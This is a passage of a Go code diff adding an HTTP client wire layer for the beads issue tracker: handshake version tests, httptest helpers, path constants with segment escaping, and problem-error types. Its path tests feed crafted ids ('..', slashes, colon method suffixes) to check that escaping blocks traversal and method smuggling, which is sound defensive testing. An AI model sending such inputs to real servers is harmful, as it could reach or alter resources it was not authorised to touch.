b/internal/httpclient/wire/handshake_wire_revision_test.go new file mode 100644 index 000000000..aa46f8ab0 --- /dev/null +++ b/internal/httpclient/wire/handshake_wire_revision_test.go @@ -0,0 +1,122 @@ +// Written fresh for OSS beads S2 (no bd-enterprise source copied). +package wire + +import ( + "errors" + "strconv" + "strings" + "testing" +) + +// contextBodyWithWireRevision is contextBody plus the two wire-shape members +// task #2 reads. wireRevision/minClientWireRevision of 0 renders the member +// omitted entirely rather than a literal 0, matching what a pre-#6053 server +// (one that predates ContextResponse.wire_revision) actually sends — the +// permanently-retired-value rule (ContextResponse.WireRevision's doc) means a +// server that HAS the field never legitimately sends a literal 0 either, so +// this helper cannot accidentally construct a body a real server would. +func contextBodyWithWireRevision(apiVersion, projectID string, wireRevision, minClientWireRevision int, capabilities ...string) string { + base := contextBody(apiVersion, projectID, capabilities...) + // contextBody always closes with `"schema_version":7}`; splice the two + // extra members in before the closing brace rather than hand-rolling the + // whole document a second time. + const suffix = `"schema_version":7}` + if len(base) < len(suffix) || base[len(base)-len(suffix):] != suffix { + panic("contextBody shape changed; update contextBodyWithWireRevision") + } + head := base[:len(base)-1] // drop the closing brace + extra := "" + if wireRevision != 0 { + extra += `,"wire_revision":` + strconv.Itoa(wireRevision) + } + if minClientWireRevision != 0 { + extra += `,"min_client_wire_revision":` + strconv.Itoa(minClientWireRevision) + } + return head + extra + "}" +} + +func TestHandshakeAcceptsAnOmittedWireRevision(t *testing.T) { + // A server that predates the field omits it; the decoded zero value must + // read as "in range," never as a skew to refuse. + c, _ := newTestClient(t, Options{}, nil, serveContext(contextBodyWithWireRevision("v0", "proj-1", 0, 0, "issues.list"))) + if _, err := c.Handshake(ctx(t)); err != nil { + t.Fatalf("Handshake: %v", err) + } +} + +func TestHandshakeAcceptsTheClientsOwnWireRevisionExactly(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, serveContext(contextBodyWithWireRevision("v0", "proj-1", ClientWireRevision, 0, "issues.list"))) + if _, err := c.Handshake(ctx(t)); err != nil { + t.Fatalf("Handshake: %v", err) + } +} + +func TestHandshakeRefusesWhenTheServersFloorExceedsThisClient(t *testing.T) { + // min_client_wire_revision above what this build speaks: the server + // requires a newer client than this one. + c, _ := newTestClient(t, Options{}, nil, + serveContext(contextBodyWithWireRevision("v0", "proj-1", ClientWireRevision, ClientWireRevision+1, "issues.list"))) + _, err := c.Handshake(ctx(t)) + if !errors.Is(err, ErrWireRevisionSkew) { + t.Fatalf("err = %v, want ErrWireRevisionSkew", err) + } + var skew *WireRevisionSkewError + if !errors.As(err, &skew) { + t.Fatalf("err is %T, want *WireRevisionSkewError", err) + } + if skew.MinClientWireRevision != ClientWireRevision+1 { + t.Errorf("MinClientWireRevision = %d, want %d", skew.MinClientWireRevision, ClientWireRevision+1) + } + if skew.ClientWireRevision != ClientWireRevision { + t.Errorf("ClientWireRevision = %d, want %d", skew.ClientWireRevision, ClientWireRevision) + } + msg := err.Error() + if !strings.Contains(msg, strconv.Itoa(ClientWireRevision+1)) { + t.Errorf("Error() = %q, want it to name the server's floor", msg) + } +} + +func TestHandshakeRefusesWhenTheServersOwnWireRevisionIsNewerThanThisClient(t *testing.T) { + // wire_revision ahead of this client, with a floor this client still + // clears: this client cannot safely decode a shape newer than its own. + future := ClientWireRevision + 5 + c, _ := newTestClient(t, Options{}, nil, + serveContext(contextBodyWithWireRevision("v0", "proj-1", future, 0, "issues.list"))) + _, err := c.Handshake(ctx(t)) + if !errors.Is(err, ErrWireRevisionSkew) { + t.Fatalf("err = %v, want ErrWireRevisionSkew", err) + } + var skew *WireRevisionSkewError + if !errors.As(err, &skew) { + t.Fatalf("err is %T, want *WireRevisionSkewError", err) + } + if skew.ServerWireRevision != future { + t.Errorf("ServerWireRevision = %d, want %d", skew.ServerWireRevision, future) + } +} + +func TestHandshakeWireRevisionGateRunsBeforeTheIdentityGate(t *testing.T) { + // A server whose wire shape this client cannot speak is not a server worth + // reporting a wrong-project diagnosis against either: the skew error must + // win even when the project id ALSO disagrees. + c, _ := newTestClient(t, Options{ExpectProjectID: "proj-1"}, nil, + serveContext(contextBodyWithWireRevision("v0", "proj-2", ClientWireRevision, ClientWireRevision+1, "issues.list"))) + _, err := c.Handshake(ctx(t)) + if !errors.Is(err, ErrWireRevisionSkew) { + t.Fatalf("err = %v, want ErrWireRevisionSkew (not a project-mismatch)", err) + } + if errors.Is(err, ErrProjectMismatch) { + t.Fatal("err also satisfies ErrProjectMismatch; the wire-revision gate must win outright, not merely run first") + } +} + +func TestEveryRequestStampsTheClientsDeclaredWireRevision(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, serveContext(contextBodyWithWireRevision("v0", "proj-1", ClientWireRevision, 0, "issues.list"))) + if _, err := c.Handshake(ctx(t)); err != nil { + t.Fatalf("Handshake: %v", err) + } + got := rec.at(t, 0).header.Get(WireRevisionHeader) + if got != strconv.Itoa(ClientWireRevision) { + t.Errorf("%s header = %q, want %q", WireRevisionHeader, got, strconv.Itoa(ClientWireRevision)) + } +} diff --git a/internal/httpclient/wire/helpers_test.go b/internal/httpclient/wire/helpers_test.go new file mode 100644 index 000000000..cded7dfe1 --- /dev/null +++ b/internal/httpclient/wire/helpers_test.go @@ -0,0 +1,132 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/helpers_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "context" + "io" + "net/http" + "net/http/httptest" + "net/url" + "sync" + "testing" +) + +// The whole suite is httptest servers with canned bytes: no Dolt, no bd serve, +// no subprocess. That is deliberate, and it is what lets this layer own the +// entire branch matrix — every problem code, both retry outcomes, both +// polarities of every presence-discriminated extension member — at PR cadence +// (engdocs/TESTING.md §2: lower layers own the branch matrix before anything +// defers to a slower lane). + +// recorder captures what the client actually put on the wire. +type recorder struct { + mu sync.Mutex + reqs []recorded +} + +type recorded struct { + method string + path string + rawPath string + rawQuery string + header http.Header + body []byte +} + +func (r *recorder) add(req *http.Request) { + body, _ := io.ReadAll(req.Body) + r.mu.Lock() + defer r.mu.Unlock() + r.reqs = append(r.reqs, recorded{ + method: req.Method, + path: req.URL.Path, + rawPath: req.URL.EscapedPath(), + rawQuery: req.URL.RawQuery, + header: req.Header.Clone(), + body: body, + }) +} + +func (r *recorder) count() int { + r.mu.Lock() + defer r.mu.Unlock() + return len(r.reqs) +} + +func (r *recorder) at(t *testing.T, i int) recorded { + t.Helper() + r.mu.Lock() + defer r.mu.Unlock() + if i >= len(r.reqs) { + t.Fatalf("wanted request %d, only %d were made", i, len(r.reqs)) + } + return r.reqs[i] +} + +// newTestClient stands up a server around h and returns a client aimed at it. +func newTestClient(t *testing.T, opts Options, creds CredentialProvider, h http.HandlerFunc) (*Client, *recorder) { + t.Helper() + rec := &recorder{} + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + rec.add(r) + h(w, r) + })) + t.Cleanup(srv.Close) + + base, err := url.Parse(srv.URL) + if err != nil { + t.Fatalf("parse test server URL: %v", err) + } + if opts.HTTPClient == nil { + opts.HTTPClient = srv.Client() + } + c, err := New(base, creds, opts) + if err != nil { + t.Fatalf("New: %v", err) + } + return c, rec +} + +// problemJSON is the shape the server writes for every non-2xx. +func problemJSON(w http.ResponseWriter, status int, body string) { + w.Header().Set("Content-Type", "application/problem+json; charset=utf-8") + w.WriteHeader(status) + _, _ = io.WriteString(w, body) +} + +// staticToken is the smallest CredentialProvider that exercises the interface: +// it authorizes with whatever token it currently holds, and Refresh advances to +// the next one exactly as a rotated token file would. +type staticToken struct { + tokens []string + refreshN int + retry bool + err error +} + +func (s *staticToken) Authorize(_ context.Context, req *http.Request) error { + if len(s.tokens) == 0 { + return nil + } + req.Header.Set("Authorization", "Bearer "+s.tokens[0]) + return nil +} + +func (s *staticToken) Refresh(context.Context) (bool, error) { + s.refreshN++ + if s.err != nil { + return false, s.err + } + if s.retry && len(s.tokens) > 1 { + s.tokens = s.tokens[1:] + } + return s.retry, nil +} + +func ctx(t *testing.T) context.Context { + t.Helper() + c, cancel := context.WithCancel(context.Background()) + t.Cleanup(cancel) + return c +} diff --git a/internal/httpclient/wire/paths.go b/internal/httpclient/wire/paths.go new file mode 100644 index 000000000..097e5534f --- /dev/null +++ b/internal/httpclient/wire/paths.go @@ -0,0 +1,221 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/paths.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "fmt" + "net/url" + "strings" +) + +// The operation ids, spelled exactly as the document's operationId values and +// as internal/httpapi's Op* constants. They are redeclared here rather than +// imported because internal/httpapi is the SERVER — importing it would drag the +// storage engine into every process that only wants to talk to one. +// TestOperationIdsMatchTheServerRouteTable is the seam that keeps the two +// spellings from drifting. +const ( + OpHealth = "health" + OpGetContext = "getContext" + OpListReadyWork = "listReadyWork" + OpCountReadyWork = "countReadyWork" + OpGetStats = "getStats" + OpListIssues = "listIssues" + OpQueryIssues = "queryIssues" + OpGetIssue = "getIssue" + OpClaimIssue = "claimIssue" + OpCloseIssue = "closeIssue" + OpReopenIssue = "reopenIssue" + OpUpdateIssue = "updateIssue" + OpSweepIssues = "sweepIssues" + OpDeleteIssues = "deleteIssues" + OpBatchCreateIssues = "batchCreateIssues" + OpBatchCloseIssues = "batchCloseIssues" + OpClaimNextIssue = "claimNextIssue" + OpReleaseIssue = "releaseIssue" + OpCountIssues = "countIssues" + OpCreateIssue = "createIssue" + OpApplyBatch = "applyBatch" + OpCompareAndSetMetadata = "compareAndSetMetadata" + OpListEvents = "listEvents" + OpWatchEvents = "watchEvents" + OpListSettings = "listSettings" + OpGetSetting = "getSetting" + OpSetSetting = "setSetting" + OpUnsetSetting = "unsetSetting" + OpListDependencies = "listDependencies" + OpListBlockingAnnotations = "listBlockingAnnotations" + OpGetDependencyTree = "getDependencyTree" + OpCountDependencyEdges = "countDependencyEdges" + OpListRelatedIssues = "listRelatedIssues" + OpAddComment = "addComment" + OpListDependencyCycles = "listDependencyCycles" + OpAddDependencies = "addDependencies" + OpRemoveDependency = "removeDependency" + OpListMemories = "listMemories" + OpRememberMemory = "rememberMemory" + OpGetMemory = "getMemory" + OpForgetMemory = "forgetMemory" +) + +// The paths that carry no caller-supplied segment. A path with one is built by +// the functions below, because an id has to be escaped before it can be joined. +const ( + PathHealth = "/healthz" + PathContext = "/v0/beads/context" + PathReady = "/v0/beads/ready" + PathReadyCount = "/v0/beads/ready:count" + PathStats = "/v0/beads/stats" + PathIssues = "/v0/beads/issues" + PathIssuesQuery = "/v0/beads/issues:query" + PathIssuesCount = "/v0/beads/issues:count" + PathIssuesSweep = "/v0/beads/issues:sweep" + PathIssuesDelete = "/v0/beads/issues:delete" + PathIssuesBatchCreate = "/v0/beads/issues:batchCreate" + PathIssuesBatchClose = "/v0/beads/issues:batchClose" + PathIssuesClaimNext = "/v0/beads/issues:claimNext" + PathIssuesBatchApply = "/v0/beads/issues:batchApply" + PathSettings = "/v0/beads/config" + PathEvents = "/v0/beads/events" + PathEventsWatch = "/v0/beads/events:watch" + PathDependencies = "/v0/beads/dependencies" + PathDependenciesCount = "/v0/beads/dependencies:count" + PathDependenciesBlocking = "/v0/beads/dependencies/blocking" + PathDependenciesTree = "/v0/beads/dependencies/tree" + PathDependenciesCycles = "/v0/beads/dependencies/cycles" + PathDependenciesAdd = "/v0/beads/dependencies:add" + PathDependenciesRemove = "/v0/beads/dependencies:remove" + PathMemories = "/v0/beads/memories" +) + +// The custom methods that ride on the issue-detail segment. The server splits +// them back off the segment its wildcard matched (internal/httpapi/routes.go, +// customMethodTarget), so the suffix must be the LAST thing in that segment and +// its colon must be literal — which is the whole reason escapeSegment escapes a +// colon inside the id itself. +const ( + MethodClaim = ":claim" + MethodClose = ":close" + MethodReopen = ":reopen" + MethodRelease = ":release" + MethodCASMetadata = ":casMetadata" +) + +// The sub-resource collections that hang off the issue-detail path. Unlike a +// custom method these are ORDINARY segments after the id, so the server routes +// them with a literal rather than through the custom-method dispatcher — but the +// id in front of them is still one wildcard-matched segment, which is why they +// go through the same escape. +const ( + SubresourceComments = "comments" + SubresourceRelated = "related" +) + +// IssuePath is the issue-detail path: GET reads it, PATCH updates it. +func IssuePath(id string) (string, error) { + seg, err := escapeSegment("issue id", id) + if err != nil { + return "", err + } + return PathIssues + "/" + seg, nil +} + +// IssueMethodPath is the issue-detail path with a custom method appended to the +// final segment: /v0/beads/issues/{id}:claim and its two siblings. +func IssueMethodPath(id, method string) (string, error) { + switch method { + case MethodClaim, MethodClose, MethodReopen, MethodRelease, MethodCASMetadata: + default: + return "", fmt.Errorf("no custom method %q on the issue resource", method) + } + base, err := IssuePath(id) + if err != nil { + return "", err + } + return base + method, nil +} + +// IssueCommentsPath is the comment collection an issue owns: the POST that +// appends one comment to its thread. +// +// There is no GET here on purpose. The wire publishes no comment page — the +// thread is read through `GET /v0/beads/issues/{id}?include_comments=true` — so +// a read helper on this path would name a route that does not exist. +func IssueCommentsPath(id string) (string, error) { + return issueSubresourcePath(id, SubresourceComments) +} + +// IssueRelatedPath is the neighbor read anchored on one issue. +func IssueRelatedPath(id string) (string, error) { + return issueSubresourcePath(id, SubresourceRelated) +} + +// issueSubresourcePath joins a literal collection onto the escaped issue +// segment. +// +// The escape matters MORE here than on the detail path, not less, and it is +// worth saying why the sub-resource does not make it safe: a slash in the id +// would push the literal onto a third segment, so `/comments` would no longer be +// the collection this request named. The server's wildcard matches exactly one +// segment, so that request 404s rather than writing to another anchor's thread — +// but only because the path shape is what it is, and escapeSegment is what keeps +// it that way for every id. +func issueSubresourcePath(id, collection string) (string, error) { + base, err := IssuePath(id) + if err != nil { + return "", err + } + return base + "/" + collection, nil +} + +// SettingPath is the single-setting read path. +func SettingPath(key string) (string, error) { + seg, err := escapeSegment("setting key", key) + if err != nil { + return "", err + } + return PathSettings + "/" + seg, nil +} + +// MemoryPath is the single-memory path, shared by the read and the delete. +// +// Memory keys are the widest segment on this surface — the document allows +// spaces, dots and unicode — so this is the escape that earns its keep. +func MemoryPath(key string) (string, error) { + seg, err := escapeSegment("memory key", key) + if err != nil { + return "", err + } + return PathMemories + "/" + seg, nil +} + +// escapeSegment percent-escapes one caller-supplied path segment. +// +// url.PathEscape is the start of the job and not the end of it. Two characters +// it deliberately leaves alone are load-bearing here: +// +// ':' is legal in a path segment, so PathEscape keeps it — but on THIS +// surface a trailing `:verb` is a custom method the server splits off the +// segment. An id ending in ":claim" would be read as a claim of a shorter +// id, and one containing any colon makes the split ambiguous. It travels +// escaped. +// '.' survives too, and the joins below run through path.Join, which RESOLVES +// "." and ".." — a segment that is one of them would climb out of its own +// collection. Only the whole-segment case can do that, so only it is +// rewritten. +// +// An empty segment is refused rather than escaped: it would join to the +// collection path and turn a read of one resource into a read of all of them. +func escapeSegment(kind, s string) (string, error) { + if s == "" { + return "", fmt.Errorf("empty %s", kind) + } + seg := strings.ReplaceAll(url.PathEscape(s), ":", "%3A") + switch seg { + case ".": + seg = "%2E" + case "..": + seg = "%2E%2E" + } + return seg, nil +} diff --git a/internal/httpclient/wire/paths_test.go b/internal/httpclient/wire/paths_test.go new file mode 100644 index 000000000..abeddc981 --- /dev/null +++ b/internal/httpclient/wire/paths_test.go @@ -0,0 +1,253 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/paths_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "net/http" + "net/url" + "strings" + "testing" +) + +func TestIssuePathEscapesTheIDIntoOneSegment(t *testing.T) { + cases := []struct { + name string + id string + want string + }{ + {"ordinary id", "ga-93nh1", "/v0/beads/issues/ga-93nh1"}, + // A slash would otherwise split the id across two segments and address + // a route that does not exist. + {"slash", "a/b", "/v0/beads/issues/a%2Fb"}, + // The one PathEscape leaves alone: a colon inside the id is + // indistinguishable from a custom-method suffix once it is on the wire. + {"colon", "ga-1:claim", "/v0/beads/issues/ga-1%3Aclaim"}, + {"space and unicode", "a bé", "/v0/beads/issues/a%20b%C3%A9"}, + {"newline", "a\nb", "/v0/beads/issues/a%0Ab"}, + {"percent", "50%", "/v0/beads/issues/50%25"}, + // path.Join resolves these, so as a whole segment they must travel + // escaped or they climb out of the collection. + {"dot", ".", "/v0/beads/issues/%2E"}, + {"dotdot", "..", "/v0/beads/issues/%2E%2E"}, + {"dot inside an id is ordinary", "ga-1.2", "/v0/beads/issues/ga-1.2"}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got, err := IssuePath(tc.id) + if err != nil { + t.Fatalf("IssuePath(%q): %v", tc.id, err) + } + if got != tc.want { + t.Errorf("IssuePath(%q) = %q, want %q", tc.id, got, tc.want) + } + }) + } +} + +func TestEscapedSegmentsRoundTripBackToTheID(t *testing.T) { + // The escaping is only correct if the server decodes it to the id we meant. + for _, id := range []string{"ga-93nh1", "a/b", "ga-1:claim", "a bé", "..", ".", "50%", "a\nb"} { + path, err := IssuePath(id) + if err != nil { + t.Fatalf("IssuePath(%q): %v", id, err) + } + seg := path[strings.LastIndex(path, "/")+1:] + got, err := url.PathUnescape(seg) + if err != nil { + t.Fatalf("unescape %q: %v", seg, err) + } + if got != id { + t.Errorf("segment for %q decodes to %q", id, got) + } + } +} + +func TestEmptySegmentsAreRefusedRatherThanJoined(t *testing.T) { + // An empty segment would collapse a single-resource read into a read of the + // whole collection, which is the same request with a very different answer. + if _, err := IssuePath(""); err == nil { + t.Error("IssuePath(\"\") returned no error") + } + if _, err := SettingPath(""); err == nil { + t.Error("SettingPath(\"\") returned no error") + } + if _, err := MemoryPath(""); err == nil { + t.Error("MemoryPath(\"\") returned no error") + } + if _, err := IssueMethodPath("", MethodClaim); err == nil { + t.Error("IssueMethodPath(\"\", :claim) returned no error") + } + if _, err := IssueCommentsPath(""); err == nil { + t.Error("IssueCommentsPath(\"\") returned no error") + } + if _, err := IssueRelatedPath(""); err == nil { + t.Error("IssueRelatedPath(\"\") returned no error") + } +} + +// TestIssueSubresourcePathsEscapeTheAnchorIntoOneSegment covers the two paths +// whose collection name comes AFTER the id, which is the shape no other path on +// this surface has. +// +// The literal suffix is what makes the escaping load-bearing in a second way: an +// unescaped slash in the id would not merely address a missing route, it would +// make `/comments` land under a DIFFERENT anchor than the caller named — and the +// server's wildcard matches one segment, so the request would 404 rather than +// write to the wrong thread. Both failure modes are closed by the same escape. +func TestIssueSubresourcePathsEscapeTheAnchorIntoOneSegment(t *testing.T) { + for _, tc := range []struct { + name string + id string + comments, rel string + }{ + {"ordinary id", "ga-93nh1", "/v0/beads/issues/ga-93nh1/comments", "/v0/beads/issues/ga-93nh1/related"}, + {"slash", "a/b", "/v0/beads/issues/a%2Fb/comments", "/v0/beads/issues/a%2Fb/related"}, + {"colon", "ga-1:claim", "/v0/beads/issues/ga-1%3Aclaim/comments", "/v0/beads/issues/ga-1%3Aclaim/related"}, + {"dotdot", "..", "/v0/beads/issues/%2E%2E/comments", "/v0/beads/issues/%2E%2E/related"}, + } { + t.Run(tc.name, func(t *testing.T) { + got, err := IssueCommentsPath(tc.id) + if err != nil { + t.Fatalf("IssueCommentsPath(%q): %v", tc.id, err) + } + if got != tc.comments { + t.Errorf("IssueCommentsPath(%q) = %q, want %q", tc.id, got, tc.comments) + } + got, err = IssueRelatedPath(tc.id) + if err != nil { + t.Fatalf("IssueRelatedPath(%q): %v", tc.id, err) + } + if got != tc.rel { + t.Errorf("IssueRelatedPath(%q) = %q, want %q", tc.id, got, tc.rel) + } + }) + } +} + +func TestIssueMethodPathBuildsTheSuffixIntoTheFinalSegment(t *testing.T) { + cases := []struct { + method string + want string + }{ + {MethodClaim, "/v0/beads/issues/ga-1:claim"}, + {MethodClose, "/v0/beads/issues/ga-1:close"}, + {MethodReopen, "/v0/beads/issues/ga-1:reopen"}, + {MethodRelease, "/v0/beads/issues/ga-1:release"}, + } + for _, tc := range cases { + got, err := IssueMethodPath("ga-1", tc.method) + if err != nil { + t.Fatalf("IssueMethodPath(ga-1, %s): %v", tc.method, err) + } + if got != tc.want { + t.Errorf("IssueMethodPath(ga-1, %s) = %q, want %q", tc.method, got, tc.want) + } + } +} + +func TestIssueMethodPathKeepsTheSuffixUnambiguous(t *testing.T) { + // The server splits the custom method off the segment its wildcard matched, + // so exactly one literal colon may survive: the suffix's. + got, err := IssueMethodPath("ga-1:close", MethodClaim) + if err != nil { + t.Fatalf("IssueMethodPath: %v", err) + } + if got != "/v0/beads/issues/ga-1%3Aclose:claim" { + t.Fatalf("got %q", got) + } + if strings.Count(got[strings.LastIndex(got, "/"):], ":") != 1 { + t.Errorf("more than one literal colon in the final segment: %q", got) + } +} + +func TestIssueMethodPathRefusesAnUnpublishedCustomMethod(t *testing.T) { + if _, err := IssueMethodPath("ga-1", ":delete"); err == nil { + t.Error("an unpublished custom method returned no error") + } +} + +func TestCollectionPathsMatchTheDocument(t *testing.T) { + // The dependency and memory operations are collection-level: their custom + // methods are literal segments, not suffixes on a wildcard. + want := map[string]string{ + PathDependencies: "/v0/beads/dependencies", + PathDependenciesBlocking: "/v0/beads/dependencies/blocking", + PathDependenciesTree: "/v0/beads/dependencies/tree", + PathDependenciesCycles: "/v0/beads/dependencies/cycles", + PathDependenciesAdd: "/v0/beads/dependencies:add", + PathDependenciesRemove: "/v0/beads/dependencies:remove", + PathMemories: "/v0/beads/memories", + PathIssuesSweep: "/v0/beads/issues:sweep", + PathIssuesDelete: "/v0/beads/issues:delete", + PathIssuesBatchCreate: "/v0/beads/issues:batchCreate", + PathIssuesQuery: "/v0/beads/issues:query", + PathReadyCount: "/v0/beads/ready:count", + PathIssuesCount: "/v0/beads/issues:count", + PathDependenciesCount: "/v0/beads/dependencies:count", + } + for got, expected := range want { + if got != expected { + t.Errorf("path constant = %q, want %q", got, expected) + } + } +} + +func TestMemoryAndSettingKeysAreEscapedIntoOneSegment(t *testing.T) { + // Memory keys are the widest segment on this surface: the document allows + // spaces, dots and unicode. + got, err := MemoryPath("notes/2026 planning.md") + if err != nil { + t.Fatalf("MemoryPath: %v", err) + } + if got != "/v0/beads/memories/notes%2F2026%20planning.md" { + t.Errorf("MemoryPath = %q", got) + } + got, err = SettingPath("types.infra") + if err != nil { + t.Fatalf("SettingPath: %v", err) + } + if got != "/v0/beads/config/types.infra" { + t.Errorf("SettingPath = %q", got) + } +} + +func TestTheURLTheServerSeesKeepsTheEscapingAndTheMountRoot(t *testing.T) { + // The end-to-end statement the escaping exists to make: whatever the id, the + // server's router sees one segment and decodes it back to the id, under + // whatever prefix the base URL mounts the surface at. + var gotPath, gotRaw, gotID string + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, r *http.Request) { + gotPath, gotRaw = r.URL.EscapedPath(), r.URL.RawQuery + gotID = strings.TrimPrefix(r.URL.Path, "/mount/v0/beads/issues/") + _, _ = w.Write([]byte(`{}`)) + }) + mounted := c.BaseURL().JoinPath("/mount/") + c, err := New(mounted, nil, Options{HTTPClient: c.hc}) + if err != nil { + t.Fatalf("New: %v", err) + } + + path, err := IssueMethodPath("a/b:x", MethodClaim) + if err != nil { + t.Fatalf("IssueMethodPath: %v", err) + } + var out map[string]any + if err := c.Do(ctx(t), Request{ + Op: OpClaimIssue, + Method: http.MethodPost, + Path: path, + Query: url.Values{"actor": {"me"}}, + }, &out); err != nil { + t.Fatalf("Do: %v", err) + } + + if want := "/mount/v0/beads/issues/a%2Fb%3Ax:claim"; gotPath != want { + t.Errorf("escaped path = %q, want %q", gotPath, want) + } + if gotID != "a/b:x:claim" { + t.Errorf("decoded final segment = %q, want %q", gotID, "a/b:x:claim") + } + if gotRaw != "actor=me" { + t.Errorf("query = %q, want actor=me", gotRaw) + } +} diff --git a/internal/httpclient/wire/problem.go b/internal/httpclient/wire/problem.go new file mode 100644 index 000000000..db2371718 --- /dev/null +++ b/internal/httpclient/wire/problem.go @@ -0,0 +1,838 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/problem.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "encoding/json" + "errors" + "fmt" + "net/http" + "slices" + "strconv" + "strings" + "time" + "unicode" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// The refusals with no analog in the local store's vocabulary, because each is +// a statement about a SERVER rather than about the workspace. Everything else +// in the code table maps to the canonical issueops sentinel the embedded store +// would have returned for the same refusal, so a caller classifies a remote +// refusal with the errors.Is arm it already has. +var ( + // ErrInvalidCursor is a cursor this server did not issue, cannot decode, or + // issued under a different internal version. The recovery is to restart + // paging without it, which is why it is not folded into ErrValidation: a + // stale cursor is a normal client situation, not a client bug. + ErrInvalidCursor = errors.New("cursor is not valid for this server; restart paging") + // ErrUnauthenticated is a missing, malformed or unrecognized credential on + // a server that was configured with one. It never carries the credential or + // any hint of which of the three it was — the server refuses to say, and + // repeating a guess here would undo that. + ErrUnauthenticated = errors.New("bd serve refused the credential") + // ErrBusy is retryable contention: the server's transaction retry budget was + // exhausted, or its in-flight limit was saturated. + ErrBusy = errors.New("bd serve is busy") + // ErrDBUnavailable is a retryable failure to reach the served database. + ErrDBUnavailable = errors.New("bd serve cannot reach its database") + // ErrServerFault is an unexpected server-side failure. Its detail is a fixed + // string by design, so ProblemError.RequestID is the only handle on the log + // line that has the real error. + ErrServerFault = errors.New("bd serve failed") + // ErrBadRequest is the 4xx default branch: a code this client does not know, + // on a status class that says the request was wrong. Failing loud is the + // documented posture — an unknown 4xx is a client bug, and retrying or + // degrading past one hides it. + ErrBadRequest = errors.New("bd serve refused the request") + + // The journal codes. This client dials no journal operation — httpstore + // carries no EventsJournal accessor, so nothing here can produce a request + // that earns one of these — and they are on the code table anyway, because + // the vocabulary gate is set-equality with the document rather than with + // what this client happens to reach today. A code the document publishes + // and this table omitted would take the 4xx default branch and be reported + // as a client bug on the day the journal accessor lands. + + // ErrEventsJournalDisabled is the served workspace having its journal OFF. + // The recovery is entirely the operator's — set `events-journal true` and + // restart the server — so it is not folded into ErrValidation, which would + // send a caller looking at its own request. + ErrEventsJournalDisabled = errors.New("bd serve: the events journal is not enabled on the served workspace") + // ErrEventsWatchSaturated is the server already holding as many open + // journal streams as it will. It is NOT ErrBusy despite the shared 503: + // busy says the database is congested and the same request will work + // shortly, this says a bounded resource is fully subscribed by connections + // that may last hours, and the caller has a recovery busy does not offer — + // the paged read, which holds nothing between requests. + ErrEventsWatchSaturated = errors.New("bd serve: no journal stream slots are free") + // ErrPreconditionFailed is a compare-and-set guard that missed on an + // operation whose contract is that a miss refuses everything. It is the + // fallback for the shape the server did not name: when `param` says which + // guard missed, the table answers with the issueops sentinel the embedded + // store would have returned for the same miss. + ErrPreconditionFailed = errors.New("bd serve: a precondition on the request did not hold") + // ErrEventsJournalTruncated is a journal read whose checkpoint has fallen + // below the retained window. ProblemError carries the window itself + // (Since/Floor/Head), because the recovery is a decision the consumer makes + // from those three numbers rather than from this sentence. + ErrEventsJournalTruncated = errors.New("bd serve: the journal checkpoint is below the retained window") + + // ErrUnknownItemCode is the PER-ITEM analog of the 4xx default branch above: + // a BatchCloseItemError.code this client does not recognize. Per-item codes + // grow additively exactly as Problem.code does — the schema tells clients to + // default-branch on an unknown one — so an unfamiliar code must not hard-fail + // the whole batch. It lands as a TYPED per-item outcome instead, so a caller + // tells "this item was refused for a reason my client is too old to name" + // from a success rather than reading it as one. + ErrUnknownItemCode = errors.New("bd serve refused a batch-close item with a code this client does not recognize") +) + +// UnknownItemCodeError is the typed carrier for that per-item refusal. It keeps +// the code verbatim and the server's optional detail so a renderer can show what +// it could not classify, and unwraps to ErrUnknownItemCode so errors.Is reaches +// it. Both strings are server-controlled, so the layer that builds one strips +// their control runes the way mapProblem strips every other wire field. +type UnknownItemCodeError struct { + IssueID string + Code string + Detail string +} + +func (e *UnknownItemCodeError) Error() string { + if e.Detail != "" { + return fmt.Sprintf("issue %s: bd serve refused it with an unrecognized batch-close code %q: %s", e.IssueID, e.Code, e.Detail) + } + return fmt.Sprintf("issue %s: bd serve refused it with an unrecognized batch-close code %q", e.IssueID, e.Code) +} + +func (e *UnknownItemCodeError) Unwrap() error { return ErrUnknownItemCode } + +// ProblemError is a non-2xx answer from bd serve, decoded from its RFC 9457 +// problem+json body. +// +// It carries the whole envelope because the layers above reconstruct typed +// refusals and user-facing text from it: `code` is the dispatch key, `param` +// and `reason` turn a 400 back into the flag that produced it, `request_id` is +// what makes a 5xx actionable, and the extension members are the typed +// discriminators the server reads inside the refusing transaction. +// +// The extension members are POINTERS because presence is load-bearing on three +// of them: `open_children` separates the two not_closable refusals, `issue_id` +// separates a hierarchy conflict from a plain scheduling cycle, and +// `blocker_is_ancestor` is emitted in both polarities and so cannot use absence +// to mean false. +type ProblemError struct { + // Op is the operation id that was dialed, and ServerURL the base URL it was + // dialed against. Neither comes off the wire; both are what the refusal + // taxonomy needs to name the server in its text. + Op string + ServerURL string + + Status int + Code string + Title string + Detail string + Param string + Reason string + RequestID string + + // CredentialSource names the ladder rung whose credential the server refused, + // set only on a 401 and only when the provider can report it (design D7). It + // is a provenance label — an env var name, a command's env var, or the + // credentials file [host:port] — never the credential itself, so it is safe + // in error text bound for logs and terminals. + CredentialSource string + + // RetryAfter is the server's Retry-After header, already bounded (see + // Options.MaxRetryAfter). Zero when the header was absent, unparseable or + // in the past. + RetryAfter time.Duration + + Assignee *string + IssueStatus *string + OpenChildren *int + ExistingType *string + RequestedType *string + IssueID *string + BlockerID *string + BlockerIsAncestor *bool + + // The compare-and-set guard's two sides, with `precondition_failed`. `param` + // says WHICH guard missed and these say what the request asked for and what + // the row was found holding, split BY TYPE rather than carried as one + // polymorphic pair — a member that is "a version or a status or an + // assignee" is a schema alternation, and this document spells three typed + // pairs instead. 